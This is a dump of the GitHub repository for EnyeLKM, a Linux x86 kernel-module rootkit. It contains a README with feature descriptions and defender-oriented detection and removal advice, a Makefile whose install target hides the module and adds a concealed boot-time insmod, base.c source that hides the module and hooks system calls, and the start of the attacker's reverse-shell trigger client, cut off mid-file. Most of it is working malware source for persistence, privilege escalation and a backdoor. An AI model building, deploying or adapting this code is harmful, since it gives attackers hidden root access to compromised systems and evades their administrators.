├── .github
└── FUNDING.yml
├── LEEME.txt
├── LICENSE
├── Makefile
├── README.md
├── VERSIONS
├── base.c
├── conectar.c
├── config.h
├── kill.c
├── kill.h
├── ls.c
├── ls.h
├── nat.png
├── read.c
├── read.h
├── remoto.c
├── remoto.h
└── syscalls.h
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: [therealdreg]
4 | patreon: dreg
5 | custom: ["https://www.paypal.me/therealdreg", "https://www.paypal.me/therealdreg"]
6 |
--------------------------------------------------------------------------------
/LEEME.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/therealdreg/enyelkm/696f5cac7a94c48d16e99f4918bf9d6ed05a349b/LEEME.txt
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2015 David Reguera Garcia aka Dreg
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
23 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | obj-m += enyelkm.o
2 | enyelkm-objs := base.o kill.o ls.o read.o remoto.o
3 | DELKOS = base.ko kill.ko ls.ko read.ko remoto.ko
4 | S_ENT = 0x`grep sysenter_entry /proc/kallsyms | head -c 8`
5 | VERSION = v1.2
6 | CC = gcc
7 | CFLAGS += -fomit-frame-pointer
8 |
9 | all:
10 | @echo
11 | @echo "----------------------------------------------"
12 | @echo " ENYELKM $(VERSION) by RaiSe && David Reguera"
13 | @echo " raise@enye-sec.org | davidregar@yahoo.es"
14 | @echo " http://www.enye-sec.org"
15 | @echo "----------------------------------------------"
16 | @echo
17 | @echo "#define DSYSENTER $(S_ENT)" > data.h
18 | make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) modules
19 | $(CC) conectar.c -o conectar -Wall
20 | @rm -f $(DELKOS)
21 |
22 | conectar:
23 | @echo
24 | @echo "----------------------------------------------"
25 | @echo " ENYELKM $(VERSION) by RaiSe && David Reguera"
26 | @echo " raise@enye-sec.org | davidregar@yahoo.es"
27 | @echo " http://www.enye-sec.org"
28 | @echo "----------------------------------------------"
29 | @echo
30 | $(CC) conectar.c -o conectar -Wall
31 | @echo
32 |
33 | install:
34 | @echo
35 | @echo "----------------------------------------------"
36 | @echo " ENYELKM $(VERSION) by RaiSe && David Reguera"
37 | @echo " raise@enye-sec.org | davidregar@yahoo.es"
38 | @echo " http://www.enye-sec.org"
39 | @echo "----------------------------------------------"
40 | @echo
41 | @cp -f enyelkm.ko /etc/.enyelkmOCULTAR.ko
42 | @chattr +i /etc/.enyelkmOCULTAR.ko > /dev/null 2> /dev/null
43 | @echo -e "#\ninsmod /etc/.enyelkmOCULTAR.ko" \
44 | \ " > /dev/null 2> /dev/null\n#" \
45 | \ >> /etc/rc.d/rc.sysinit
46 | @touch -r /etc/rc.d/rc /etc/rc.d/rc.sysinit > /dev/null 2> /dev/null
47 | @insmod /etc/.enyelkmOCULTAR.ko
48 | @echo + enyelkm.ko copiado a /etc/.enyelkmOCULTAR.ko
49 | @echo + instalada cadena de autocarga en /etc/rc.d/rc.sysinit oculta
50 | @echo + enyelkm cargado !
51 | @echo
52 |
53 | clean:
54 | @echo
55 | @echo "----------------------------------------------"
56 | @echo " ENYELKM $(VERSION) by RaiSe && David Reguera"
57 | @echo " raise@enye-sec.org | davidregar@yahoo.es"
58 | @echo " http://www.enye-sec.org"
59 | @echo "----------------------------------------------"
60 | @echo
61 | @rm -rf *.o *.ko *.mod.c .*.cmd .*.d data.h conectar .tmp_versions Modules.symvers
62 | make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) clean
63 |
64 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # enyelkm
2 | LKM rootkit for Linux x86 with the 2.6 kernel. It inserts salts inside system_call and sysenter_entry.
3 |
4 | Please, consider make a donation: https://github.com/sponsors/therealdreg
5 |
6 | ## EnyeLKM Overview
7 |
8 | Written by Jacob Williams - 2008, thx for your presentation!
9 |
10 | ### What is EnyeLKM?
11 |
12 | * EnyeLKM is a Linux rootkit that is used by an attacker to maintain persistence on compromised Linux machines running a 2.6 kernel.
13 | * As indicated by its name, it is implemented as a loadable kernel module.
14 | * It cannot be used by itself to compromise a Linux machine. Once a machine is compromised, it is used to provide a persistent back door.
15 | * Since the code is inserted into kernel space it does not show up in the process list and can impact ALL user mode programs running on the infected machine.
16 | * By using the rootkit to maintain persistence on the infected machine, the attacker does not have to use an attack vector against the machine every time he needs access.
17 | * Using the rootkit is more advantageous than traditional methods of leaving a backdoor account or running a user mode network backdoor as these can be easily detected.
18 |
19 | ### What does it provide?
20 |
21 | EnyeLKM offers the following features:
22 |
23 | * Hiding directories
24 | * Hiding files
25 | * Hiding specific content within files
26 | * Hiding processes
27 | * Privilege escalation to root from a non-root login
28 | * Reverse shell
29 | * The EnyeLKM module itself is hidden from lsmod
30 |
31 | ### Hiding files and data
32 |
33 | EnyeLKM hides files, directories and processes by inserting jumps to trampoline functions in both the system_call() and sys_enter() instructions in the kernel. All user space applications (read() , write(), etc) invoke kernel space functionality (system calls) through one of these two functions.
34 |
35 | When EnyeLKM is compiled, a special hide string is defined in config.h as the variable SHIDE. The default string is “OCULTAR”. An English translation of the rootkit is also available that uses a default hide string of “HIDE^IT”. Since many of your attackers are script kiddies that don't know how to code, it has been my experience that most of the kits found use one of these two strings (although others are certainly possible).
36 |
37 | The SHIDE string is significant. Any file or directory name containing this string will be hidden from view when performing a directory listing.
38 |
39 | The SHIDE string is also used to hide the kernel module itself on the filesystem. It is installed in /etc/ by default but will usually not be visible because the module is hiding it.
40 |
41 | A common reason to compromise Linux servers is to install a warez site, IRC server, or botnet. In any of these cases it helps to have hidden directories that a system administrator cannot see. This can be accomplished by including the SHIDE string in the directory name. Of course many gigabytes of missing disk space (such as in the case of a warez site) may be noticed by a good system administrator.
42 |
43 | Only the top level hidden directory needs to include the SHIDE string in its name. All child directories and files can have normal names. Since the directory name will only be known to those meant to access it, the child directories and files will not be found by any interlopers.
44 |
45 | Two additional strings are defined in read.c as MOPEN and MCLOSE. These are set to by default to “#” and #” respectively. Any data inside a file between these two strings (including the strings themselves) will not be returned from a read call.
46 |
47 | This is used to load the kernel module on boot. By default the command to load the EnyeLKM module will be contained between these strings in /etc/rc.d/rc.sysinit. Before the module is loaded (i.e. while the system is booting) these strings will be visible in the file. As soon as the module is loaded, the strings will not be visible in the file. For this reason, simply inspecting the /etc/rc.d/rc.sysinit file for the insmod command will not reveal the rootkit.
48 |
49 | As a matter of course, simply because you think you know the location of a hidden directory or kernel module does not mean that you should probe it (list it, stat any files, etc) on a live system where the module may be running.
50 |
51 | While EnyeLKM does not employ any defensive technology some other rootkits do. This could easily be added to EnyeLKM by a skilled programmer. An example of defensive technology would be to monitor read attempts to a hidden directory by an unprivileged process (one without the magic gid). If an unprivileged process tries to read from the hidden directory the rootkit may try to delete itself or write random data to the disk to obfuscate digital forensics.
52 |
53 | While I have not seen any rootkits that try to destroy the system, I have seen several examples that will remove themselves from memory and delete from disk if probed. Corrupting the whole system is a trivial matter from kernel space.
54 |
55 | The bottom line is this: only probe hidden directories for data when you know it is safe. How do you know when it is safe? It is only safe when you are examining a disk image (or the actual disk) of the compromised machine from a trusted computer. You can't trust anything the compromised machine tells you.
56 |
57 | ### Hiding processes
58 |
59 | If the attacker wishes to run an IRC server, warez site, or other malicious enterprise simply hiding data won't do. The processes used for this activity would be obvious to an administrator just by running a simple 'ps' command. EnyeLKM inspects a process's GID to determine whether or not to hide it from the processlist. The GID of processes to hide is defined in config.h. By default it is set to 0x489196ab.
60 |
61 | Just like the SHIDE string, the gid for hidden processes is rarely if ever changed by script kiddies when building the rootkit. One way to detect the rootkit while running on the system is to run a specially crafted utility that runs in a tight loop and changes it's GID to the default EnyeLKM GID. If the target process disappears from the process list, something is hiding the process. EnyeLKM is likely installed on the system.
62 |
63 | For those familiar with Linux operation, the process is hidden from tools such as ps by hiding the PID's directory from the /proc filesystem. The directory is still there and can be changed into (if the PID is known) just not read in a directory listing.
64 |
65 | A utility to find the EnyeLKM GID was written as part of the exploration of this rootkit. Code can be downloaded from the link below. http://www.williamsworx.com/wiki/pub/Linux/EnyeLKM/findEnyeGID.c
66 |
67 | ### Hiding network connections
68 |
69 | Hiding network connections is just as important as hiding processes on a system if the attacker is to outsmart a savvy system administrator.
70 |
71 | EnyeLKM will hide network connections from processes that have the special GID from netstat and other tools that depend on reading the /proc filesystem.
72 |
73 | There is a (laborious) way to find network connections from view by EnyeLKM that still works as of EnyeLKM 1.2 but may be corrected in a future version. It involves counting network connections. Even though EnyeLKM correctly hides the network connections, it does not correctly update the TCP and UDP stack statistics.
74 |
75 | ### Privilege Escalation
76 |
77 | When an attacker is a legitimate user, he may need to escalate his privileges to perform additional malicious activity. While the attacker needed root privileges to install the rootkit, the user may never have gained an interactive shell. Another possibility is that the user gained root privileges but the known root password has been changed.
78 |
79 | In either case, the user can gain root by executing a kill command. Running the following command in a shell will grant that shell root privileges:
80 | 'kill -s 58 12345'
81 |
82 | In this case '58' is the signal and 12345 is the process ID. There need not be any process ID 12345 running on the system. The kill system call is trapped by the kernel and the shell running the command is given root privileges.
83 |
84 | The signal and PID are default values and can be changed in kill.c.
85 |
86 | Note that in this case, the shell is given root privileges by changing the UID to zero in the shell's kernel task_struct. No changes are visible on the shell. Confirmation that the UID has been changed can be achieved by trying something that ordinarily can't be done as the root user.
87 |
88 | ### Network Backdoor
89 |
90 | Most often the attacker will need to connect to the compromised machine remotely. A traditional method of providing backdoor access is to run a user mode program that opens a port for the attacker to connect to. This is not especially stealthy since it can be seen in netstat output. Even if the user mode program is being blocked from netstat output by the methods described earlier the open port still may be detected with active port scanning (such as an internal security team performing a nessus or nmap scan).
91 |
92 | To solve this issue, EnyeLKM offers a method remote access commonly referred to as reverse shell by callback. The attacker sends a specially crafted ICMP echo request packet to the machine with the rootkit installed. Since the rootkit is installed in kernel space, it is able to examine all incoming network packets. When it detects an ICMP echo request, it checks the ICMP payload to see if it includes the pre-shared key and connection parameters. If the payload includes the key and connection parameters the rootkit machine calls back to the machine sending the ping on the specified port. The connection will give the attacker a root shell.
93 |
94 | The newest version of EnyeLKM also offers TCP connection triggering.
95 |
96 | The shell returned will be hidden from netstat and the process list.
97 |
98 | Connections established using the network backdoor are not encrypted.
99 |
100 | The network backdoor in EnyeLKM has matured with the rootkit.
101 |
102 | Versions 1.1.2 – 1.1.4 only offered ICMP triggering. Since many hosts do not process ICMP messages (or they may be blocked by perimeter firewalls) a TCP available as an option in the 1.2 build. When using the TCP option for triggering, a listening port on the target machine must be used. Attempting to trigger a closed port will not work as the kernel level monitor is inserted in the TCP stack above where port multiplexing occurs.
103 |
104 | Network Address Translation (NAT) is an issue that EnyeLKM's backdoor is not programmed to deal with. There is no option to trigger a callback address in the connection program. When the attacker and target are on different sides of a NAT device, the backdoor cannot be triggered. When the target receives the trigger packet, the source address appears to be the internal address of the NAT device. The target will call back to the internal address of the NAT device and will most likely receive a RST packet from the NAT device.
105 |
106 | ***** Don't take this to mean your machines are safe from this backdoor if they sit behind a NAT device. I personally know a hacker who has programmed a patch to the rootkit and connection program that overcome the NAT problem by adding a callback address to the trigger packet. The code modifications were actually quite trivial. *****
107 |
108 | 
109 |
110 | Why NAT poses a problem:
111 |
112 | In this diagram, the blue lines represent the trigger and the red lines represent the callback. The same problem occurs whether an ICMP or TCP trigger is used. Assume in this case that a TCP trigger is used. The TCP SYN packet will make it through the NAT device. The target reply (normal SYN/ACK) will be returned through the NAT device since there is a Port Address Translation (PAT) rule in place for this connection.
113 |
114 | Encoded in the TCP packet is the port to call back to (default 8822). The target now tries to establish a connection to that port on the source address. The problem is that the target sees the source address as 192.168.0.1 instead of 172.16.0.5. Since no PAT rule exists for this IP/Port combination the connection is actively refused by the NAT device.
115 |
116 | A pre-shared key is used to offer some sort of authentication for the rootkit. Without a configurable key, anyone with the connection program could connect to any machine with EnyeLKM installed. The default key is rarely changed by script kiddies. It is defined in config.h (ICMP_CLAVE) and is set by default “ENYELKMICMPKEY”. It can only be changed at compile time, so it is considerably less flexible than standard password based authentication. In EnyeLKM 1.2, the TCP shared key defaults to “ENYELKMTCPKEY”. It is defined in config.h as TCP_CLAVE.
117 |
118 | The client (attacker) side connection program is called “connectar”. It must be run from the client machine as root since it requires raw socket access to craft the trigger packet.
119 |
120 | After the connectar program sends the trigger packet, it opens a TCP port on the sending machine and waits for the attacked machine to call back to the open port. If no port is specified when the program is run, the callback will occur on TCP 8822. Any NIDS in place should be configured to flag TCP 8822 connections for inspection.
121 |
122 | Client Usage:
123 | ./connectar -icmp IP_address [callback port]
124 | ./connectar -tcp IP_address destination_port [callback port]
125 |
126 | ### Detection
127 |
128 | Just using lsmod and looking for the module name is out since the module name contains the SHIDE string and will be filtered out on a call to read. The module name could also have been changed to something normal before loading. There does not appear to be a way to detect the module by name when it is loaded in memory.
129 |
130 | Assuming the attacker has compiled the rootkit with all defaults, a file or directory created with a name containing the string “OCULTAR” (“HIDE^IT” for the English version) will be hidden. As an investigator on a live system, you can create a file with the SHIDE string. If the created file is hidden, EnyeLKM is installed on the system. Just because the file is visible, this does not mean that EnyeLKM is not present on the system. It may just have been compiled with options other than the default.
131 |
132 | Hiding text in a file is somewhat more reliable since the MOPEN and MCLOSE defines are not found in config.h and can easily be overlooked. Try creating a file that contains these tags and write some specific text between the tags. Save the file and cat it from the command line. To reiterate, just because this fails does not mean that the system is clean.
133 |
134 | Hidden processes can be found by scanning the /proc filesystem for directories that are present but not being listed with the standard readdir() calls. Proof of concept code can be found at the link below. Once the process's directory in /proc is located, the command line and environment of the process can be determined. This should offer some clue about what the attacker is doing with the compromised machine.
135 |
136 | Obviously the same advice offered earlier about probing hidden directories still applies here. Some safety exists with this method however. Because the /proc filesystem is only present in memory access and modification times are unlikely to be tracked by the attacker's code.
137 |
138 | If at all possible, it is best to first discover the magic GID and run the detection process with that GID.
139 |
140 | http://www.williamsworx.com/wiki/pub/Linux/EnyeLKM/findHiddenProc.tgz
141 |
142 | Hidden network connections are somewhat more difficult to find. Connections are hidden from /proc (where netstat gets its output) but connection statistics are not updated. Hidden network connections can be discovered by comparing the number of established connections in /proc/net/stat to the number of connections in netstat output. While this does not expose what the network connections are doing, it does show that some are being hidden and warrants further investigation.
143 |
144 | If libpcap and tcpdump are installed on the victim machine, these can be used to ferret out active network connections that are not being displayed in netstat. It would be better on a non-switched network to run the sniffer from a non-suspect machine since tcpdump may be compromised as well. The connections EnyeLKM hides from netstat are not hidden from tcpdump, even when running on the compromised machine. Note that when using this method, traffic must be captured for at least the TCP timeout period for the machine you are investigating. A hidden connection will only be revealed by tcpdump if traffic is sent over the connection while tcpdump is listening. By capturing for longer than the TCP timeout period, traffic is guaranteed to be passed on the hidden connection
145 |
146 | If a NIDS is installed on the network, all traffic with a source or destination port of 8822 should be flagged for inspection. If the NIDS offers inspection of packet internals, ICMP and TCP payloads should be inspected for ENYELKMICMPKEY and ENYELKMTCPKEY.
147 |
148 | The ICMP trigger uses an ICMP echo request. Its payload is short and contains only the pre-shared key and the callback port in hexadecimal (stored in little endian order).
149 |
150 | The TCP trigger completes the normal TCP three way handshake on the chosen port. It then sends a PSH packet containing the pre-shared key and the callback port in hexadecimal (again stored in little endian order).
151 |
152 | Packet dumps of both triggering mechanisms can be found at the links below. They are in pcap format and can be examined using Wireshark.
153 |
154 | * http://www.williamsworx.com/wiki/pub/Linux/EnyeLKM/tcpTrigger.pcap
155 | * http://www.williamsworx.com/wiki/pub/Linux/EnyeLKM/icmpTrigger.pcap
156 | * http://www.williamsworx.com/wiki/pub/Linux/EnyeLKM/icmpTwoTriggers.pcap
157 |
158 | If your system has /proc/kcore enabled (Fedora kernels usually do not) you can use gdb to disassemble the sysenter_entry. A normal sysenter routine won't jump soon after it is called, but that's exactly what happens with EnyeLKM installed:
159 |
160 | 0xc0103ff5 : jne 0xc0104114
161 | 0xc0103ffb : push 0xd0ba32a4
162 | 0xc0104000 : ret
163 |
164 | Of course, as with any system compromised at the kernel level, the best thing you can do to ferret out the rootkit on the disk is to take the system offline, make a forensic disk image, and examine it on a clean system.
165 |
166 | ### Removal
167 |
168 | Removal of this rootkit in its default form is almost too easy.
169 |
170 | The EnyeLKM rootkit insmod command is installed into /etc/rc.d/rc.sysinit or in a very limited distribution /etc/inittab. The module itself is installed as /etc/.enyelkmOCULTAR.ko. The insmod command will not be seen if you inspect /etc/inittab or /etc/rc.d/rc.sysinit since it is hidden between OCULTAR tags. This hiding can be used to your advantage when removing the rootkit. Simply cat both files out to /tmp and copy them over the originals. The hidden text will be gone from the file (instead of simply hidden). Unfortunately, the module itself cannot be unloaded so a reboot is needed to remove the module from the running kernel.
171 |
172 | Note that this method will not work if the insmod command for the rootkit is placed in some other location (such as another startup script or binary).
173 |
174 | Once the system reboots without installing rootkit module, a thorough investigation of running processes and network connections should be performed. Hackers will often install more than one backdoor on a system to maintain persistence.
175 |
176 | ## Referenced by
177 |
178 | * Design and Implementation of a Virtual Machine Introspection based Intrusion Detection System - Thomas Kittel: https://pdfs.semanticscholar.org/d48a/dbea94a5e2bc108b274f3176db9d5024af15.pdf
179 | * Full Virtual Machine State Reconstruction for Security Applications - Christian A. Schneider: http://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=DDA289985A5B66223310A012971CAD3E?doi=10.1.1.722.9243&rep=rep1&type=pdf
180 |
--------------------------------------------------------------------------------
/VERSIONS:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/therealdreg/enyelkm/696f5cac7a94c48d16e99f4918bf9d6ed05a349b/VERSIONS
--------------------------------------------------------------------------------
/base.c:
--------------------------------------------------------------------------------
1 | /*
2 | * ENYELKM v1.2
3 | * Linux Rootkit x86 kernel v2.6.x
4 | *
5 | * By RaiSe && David Reguera
6 | * < raise@enye-sec.org
7 | * davidregar@yahoo.es
8 | * http://www.enye-sec.org >
9 | */
10 |
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include
29 | #include
30 | #include "config.h"
31 | #include "data.h"
32 | #include "syscalls.h"
33 | #include "remoto.h"
34 | #include "kill.h"
35 | #include "read.h"
36 | #include "ls.h"
37 |
38 | #define ORIG_EXIT 19
39 | #define DIRECALL 42
40 | #define SALTO 5
41 | #define SKILL 49
42 | #define SGETDENTS64 57
43 | #define SREAD 65
44 | #define DAFTER_CALL 70
45 | #define DNRSYSCALLS 10
46 |
47 | #define ASMIDType( valor ) \
48 | __asm__ ( valor );
49 |
50 | #define JmPushRet( valor ) \
51 | ASMIDType \
52 | ( \
53 | "push %0 \n" \
54 | "ret \n" \
55 | \
56 | : : "m" (valor) \
57 | );
58 |
59 | #define CallHookedSyscall( valor ) \
60 | ASMIDType( "call *%0" : : "r" (valor) );
61 |
62 |
63 | /* punteros a syscalls/funciones originales */
64 | int (*orig_tcp4_seq_show)(struct seq_file *seq, void *v);
65 | asmlinkage int (*orig_kill)(pid_t pid, int sig);
66 | asmlinkage long (*orig_getdents64)
67 | (unsigned int fd, struct dirent64 *dirp, unsigned int count);
68 | asmlinkage long (*orig_getdents)
69 | (unsigned int fd, struct dirent *dirp, unsigned int count);
70 |
71 |
72 | /* variables globales */
73 | extern struct proc_dir_entry *proc_net;
74 | unsigned long dire_exit, after_call;
75 | unsigned long dire_call, global_ip;
76 | short lanzar_shell;
77 | atomic_t read_activo;
78 | void *sysenter_entry;
79 | void **sys_call_table;
80 | struct packet_type my_pkt;
81 | unsigned short global_port;
82 | int errno;
83 |
84 |
85 | /* prototipos funciones */
86 | void *get_system_call(void);
87 | void *get_sys_call_table(void *system_call);
88 | void set_idt_handler(void *system_call);
89 | void set_sysenter_handler(void *sysenter);
90 | void *get_sysenter_entry(void);
91 | void new_idt(void);
92 | void hook(void);
93 |
94 |
95 | /* estructuras */
96 | struct idt_descriptor
97 | {
98 | unsigned short off_low;
99 | unsigned short sel;
100 | unsigned char none, flags;
101 | unsigned short off_high;
102 | };
103 |
104 |
105 |
106 | int init_module(void)
107 | {
108 | void *s_call;
109 | struct module *m = &__this_module;
110 | struct proc_dir_entry *tcp = proc_net->subdir->next;
111 |
112 | /* borramos nuestro modulo de la lista */
113 | if (m->init == init_module)
114 | list_del(&m->list);
115 |
116 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,7)
117 | kobject_unregister(&m->mkobj.kobj);
118 | #endif
119 |
120 | /* redefinimos tcp4_seq_show() */
121 | while (strcmp(tcp->name, "tcp") && (tcp != proc_net->subdir))
122 | tcp = tcp->next;
123 |
124 | if (tcp != proc_net->subdir)
125 | {
126 | orig_tcp4_seq_show = ((struct tcp_seq_afinfo *)(tcp->data))->seq_show;
127 | ((struct tcp_seq_afinfo *)(tcp->data))->seq_show = hacked_tcp4_seq_show;
128 |
129 | #if DEBUG == 1
130 | printk("enyelkm: hacked_tcp4_seq_show() injectada!\n");
131 | #endif
132 | }
133 |
134 | sysenter_entry = get_sysenter_entry();
135 |
136 | /* variables de control */
137 | lanzar_shell = 0;
138 | atomic_set(&read_activo, 0);
139 | global_ip = 0xffffffff;
140 |
141 | /* averiguar sys_call_table */
142 | s_call = get_system_call();
143 | sys_call_table = get_sys_call_table(s_call);
144 |
145 | /* punteros a syscalls originales */
146 | orig_kill = sys_call_table[__NR_kill];
147 | orig_getdents64 = sys_call_table[__NR_getdents64];
148 | orig_getdents = sys_call_table[__NR_getdents];
149 |
150 | /* modificar los handlers */
151 | set_idt_handler(s_call);
152 | set_sysenter_handler(sysenter_entry);
153 |
154 | /* insertamos el nuevo filtro */
155 | my_pkt.type=htons(ETH_P_ALL);
156 | my_pkt.func=capturar;
157 | dev_add_pack(&my_pkt);
158 |
159 | #if DEBUG == 1
160 | printk("enyelkm instalado!\n");
161 | #endif
162 |
163 | return(0);
164 |
165 | } /*********** fin init_module ***********/
166 |
167 |
168 |
169 | void cleanup_module(void)
170 | {
171 | /* dejar terminar procesos que estan 'leyendo' */
172 | while (atomic_read(&read_activo) != 0)
173 | schedule();
174 |
175 | #if DEBUG == 1
176 | printk("enyelkm desinstalado!\n");
177 | #endif
178 |
179 | } /*********** fin cleanup_module ************/
180 |
181 |
182 |
183 | void *get_system_call(void)
184 | {
185 | unsigned char idtr[6];
186 | unsigned long base;
187 | struct idt_descriptor desc;
188 |
189 | asm ("sidt %0" : "=m" (idtr));
190 | base = *((unsigned long *) &idtr[2]);
191 | memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc));
192 |
193 | return((void *) ((desc.off_high << 16) + desc.off_low));
194 |
195 | } /*********** fin get_sys_call_table() ***********/
196 |
197 |
198 |
199 | void *get_sys_call_table(void *system_call)
200 | {
201 | unsigned char *p;
202 | unsigned long s_c_t;
203 |
204 | p = (unsigned char *) system_call;
205 |
206 | while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
207 | p++;
208 |
209 | dire_call = (unsigned long) p;
210 |
211 | p += 3;
212 | s_c_t = *((unsigned long *) p);
213 |
214 | p += 4;
215 | after_call = (unsigned long) p;
216 |
217 | /* cli */
218 | while (*p != 0xfa)
219 | p++;
220 |
221 | dire_exit = (unsigned long) p;
222 |
223 | return((void *) s_c_t);
224 |
225 | } /********** fin get_sys_call_table() *************/
226 |
227 |
228 |
229 | void set_idt_handler(void *system_call)
230 | {
231 | unsigned char *p;
232 | unsigned long *p2;
233 |
234 | p = (unsigned char *) system_call;
235 |
236 | /* primer salto */
237 | while (!((*p == 0x0f) && (*(p+1) == 0x83)))
238 | p++;
239 |
240 | p -= 5;
241 |
242 | *p++ = 0x68;
243 | p2 = (unsigned long *) p;
244 | *p2++ = (unsigned long) ((void *) new_idt);
245 |
246 | p = (unsigned char *) p2;
247 | *p = 0xc3;
248 |
249 | /* syscall_trace_entry salto */
250 | while (!((*p == 0x0f) && (*(p+1) == 0x82)))
251 | p++;
252 |
253 | p -= 5;
254 |
255 | *p++ = 0x68;
256 | p2 = (unsigned long *) p;
257 | *p2++ = (unsigned long) ((void *) new_idt);
258 |
259 | p = (unsigned char *) p2;
260 | *p = 0xc3;
261 |
262 | } /********** fin set_idt_handler() ***********/
263 |
264 |
265 |
266 | void set_sysenter_handler(void *sysenter)
267 | {
268 | unsigned char *p;
269 | unsigned long *p2;
270 |
271 | p = (unsigned char *) sysenter;
272 |
273 | /* buscamos call */
274 | while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
275 | p++;
276 |
277 | /* buscamos el jae syscall_badsys */
278 | while (!((*p == 0x0f) && (*(p+1) == 0x83)))
279 | p--;
280 |
281 | p -= 5;
282 |
283 | /* metemos el salto */
284 |
285 | *p++ = 0x68;
286 | p2 = (unsigned long *) p;
287 | *p2++ = (unsigned long) ((void *) new_idt);
288 |
289 | p = (unsigned char *) p2;
290 | *p = 0xc3;
291 |
292 | } /************* fin set_sysenter_handler() **********/
293 |
294 |
295 |
296 | void new_idt(void)
297 | {
298 | ASMIDType
299 | (
300 | "cmp %0, %%eax \n"
301 | "jae syscallmala \n"
302 | "jmp hook \n"
303 |
304 | "syscallmala: \n"
305 | "jmp dire_exit \n"
306 |
307 | : : "i" (NR_syscalls)
308 | );
309 |
310 | } /********** fin new_idt() **************/
311 |
312 |
313 |
314 | void hook(void)
315 | {
316 | register int eax asm("eax");
317 |
318 | switch(eax)
319 | {
320 | case __NR_kill:
321 | CallHookedSyscall(hacked_kill);
322 | break;
323 |
324 | case __NR_getdents:
325 | CallHookedSyscall(hacked_getdents);
326 | break;
327 |
328 | case __NR_getdents64:
329 | CallHookedSyscall(hacked_getdents64);
330 | break;
331 |
332 | case __NR_read:
333 | CallHookedSyscall(hacked_read);
334 | break;
335 |
336 | default:
337 | JmPushRet(dire_call);
338 | break;
339 | }
340 |
341 | JmPushRet( after_call );
342 |
343 | } /*********** fin hook() ************/
344 |
345 |
346 |
347 | /* thx to Int27h :-) */
348 | void *get_sysenter_entry(void)
349 | {
350 | void *psysenter_entry = NULL;
351 | unsigned long v2;
352 |
353 | if (boot_cpu_has(X86_FEATURE_SEP))
354 | rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2);
355 | else
356 | return((void *) DSYSENTER);
357 |
358 | return(psysenter_entry);
359 |
360 | } /********** fin get_sysenter_entry() **********/
361 |
362 |
363 |
364 | /* Licencia GPL */
365 | MODULE_LICENSE("GPL");
366 |
367 | /* EOF */
368 |
--------------------------------------------------------------------------------
/conectar.c:
--------------------------------------------------------------------------------
1 | /*
2 | * ENYELKM v1.2
3 | * Linux Rootkit x86 kernel v2.6.x
4 | *
5 | * By RaiSe && David Reguera
6 | * < raise@enye-sec.org
7 | * davidregar@yahoo.es
8 | * http://www.enye-sec.org >
9 | */
10 |
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include "config.h"
24 |
25 |
26 | int enviar_icmp(char *ipdestino, unsigned short puerto);
27 | int enviar_tcp(char *ipdestino, unsigned short dpuerto, unsigned short puerto);
28 | int test_args(int argc, char *argv[]);
29 | void show_instr(char *name);
30 |
31 |
32 | int main(int argc, char *argv[])
33 | {
34 | struct sockaddr_in dire;
35 | unsigned short puerto, dpuerto;
36 | int soc, soc2, modo;
37 | fd_set s_read;
38 | unsigned char tmp;
39 |
40 |
41 | if ((modo = test_args(argc, argv)) == -1)
42 | exit(modo);
43 |
44 | if ((modo == 1) && (argc > 3))
45 | puerto = (unsigned short) atoi(argv[3]);
46 | else
47 | puerto = 8822;
48 |
49 | if ((modo == 2) && (argc > 4))
50 | puerto = (unsigned short) atoi(argv[4]);
51 | else
52 | puerto = 8822;
53 |
54 |
55 | if ((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1)
56 | {
57 | printf("error al crear el socket.\n");
58 | exit(-1);
59 | }
60 |
61 | bzero((char *) &dire, sizeof(dire));
62 |
63 | dire.sin_family = AF_INET;
64 | dire.sin_port = htons(puerto);
65 | dire.sin_addr.s_addr = htonl(INADDR_ANY);
66 |
67 | while(bind(soc, (struct sockaddr *) &dire, sizeof(dire)) == -1)
68 | dire.sin_port = htons(++puerto);
69 |
70 | listen(soc, 5);
71 |
72 | printf("\n* Lanzando reverse_shell:\n\n");
73 | fflush(stdout);
74 |
75 | if (modo == 1)
76 | enviar_icmp(argv[2], puerto);
77 | else
78 | {
79 | dpuerto = (unsigned short) atoi(argv[3]);
80 | enviar_tcp(argv[2], dpuerto, puerto);
81 | }
82 |
